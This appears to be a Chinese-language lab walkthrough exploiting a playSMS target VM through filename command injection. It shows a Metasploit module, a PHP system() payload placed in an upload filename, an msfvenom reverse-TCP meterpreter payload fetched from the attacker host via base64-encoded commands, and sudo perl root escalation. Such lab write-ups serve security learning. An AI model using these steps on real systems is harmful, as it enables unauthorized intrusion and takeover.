web靶机系列-命令注入

主机:192.168.136.133
靶机:192.168.136.139
用nmap、nikto扫描操作
web靶机系列-命令注入
发现在robots.txt下存在五个文件
web靶机系列-命令注入
在nothing的页面源代码下发现有五个密码
web靶机系列-命令注入
web靶机系列-命令注入
在刚刚的nikto的扫描中存在一个/secure/文件,打开发现一个压缩包
web靶机系列-命令注入
压缩包需要密码,经测试密码是freedom,但解压后的文件是txt文件。需要更改文件后缀,得到
web靶机系列-命令注入
登陆给出的网址,输入账户。密码再测试一下,发现是diana
web靶机系列-命令注入
web靶机系列-命令注入
用searchsploit查找页面架构下了漏洞
web靶机系列-命令注入
第一个可利用漏洞是’/sendfromfile.php’ Remote Code Execution / Unrestricted File Upload
web靶机系列-命令注入
利用上传文件名漏洞执行命令。
第二个漏洞是’import.php’ Remote Code Execution
web靶机系列-命令注入
利用有效载荷存储在backdoor.csv中,它执行我们的有效负载,并相应地显示在下一页的字段中。可以一句话注入提权。
根据网页我们利用’/sendfromfile.php’ Remote Code Execution / Unrestricted File Upload

1、利用msfconsole中use exploit/multi/http/playsms_filename_exec
web靶机系列-命令注入
配置好各参数
web靶机系列-命令注入
成功拿到靶机的shell
web靶机系列-命令注入
查看当前目录和当前账号是否具有root权限
web靶机系列-命令注入
开始提权
使用shell命令直接切换到靶机的shell,使用sudo -l查看当前用户可以使用sudo命令,发现存在一个perl命令,perl是一个调用脚本的命令,使用sudo perl -e "exec ‘/bin/bash’"直接使用root权限调用shell
web靶机系列-命令注入
使用python -c "import pty;pty.spawn(’/bin/bash’)"进行优化命令行界面。在/root下找到flag
web靶机系列-命令注入

2、在cat下查看漏洞目录,即cat /usr/share/exploitdb/exploits/php/webapps/42003.txt
在参考的文档中发现,通过修改上传文件的filename来获取系统信息,这里可以使用burpsuite截断修改
web靶机系列-命令注入
在上传页面上发现,这个页面只能上传.csv文件,在当前目录下touch 1.csv创建一个.csv用来上传,上传时记得开启burp的截断
web靶机系列-命令注入
将截获到的信息发送到repeater模块,找到filename修改成文档中看到的<?php system('uname -a'); dia();?>.php,确实发现返回了靶机的内核信息,漏洞可以利用。每执行过一次就需要重新截断请求重新提交。接下去就是获取到靶机的shell
web靶机系列-命令注入
首先使用msfvenom生成脚本msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.136.133 lport=4444 -f elf > /var/www/html/s,
然后启动Apache service apache2 start
web靶机系列-命令注入
接下去就是需要利用漏洞下载脚本并执行,攻击机上提前开启msf的handler模块进行监听。由于靶机上开启了防火墙,这时候就需要使用base64编码进行绕过。先在攻击机上需要执行的三条命令做base64编码。
web靶机系列-命令注入
启动msfconsole监听
web靶机系列-命令注入
web靶机系列-命令注入
接下来将在burpsuite上对 filename="<?php system(base64_decode('XXXXXXXX')); dia();?>.php".xxx的内容使用编码过的命令代替(重复三次)。当第三条命令执行完会没有任何反应,这时候就可以去msf上查看已经获取到shell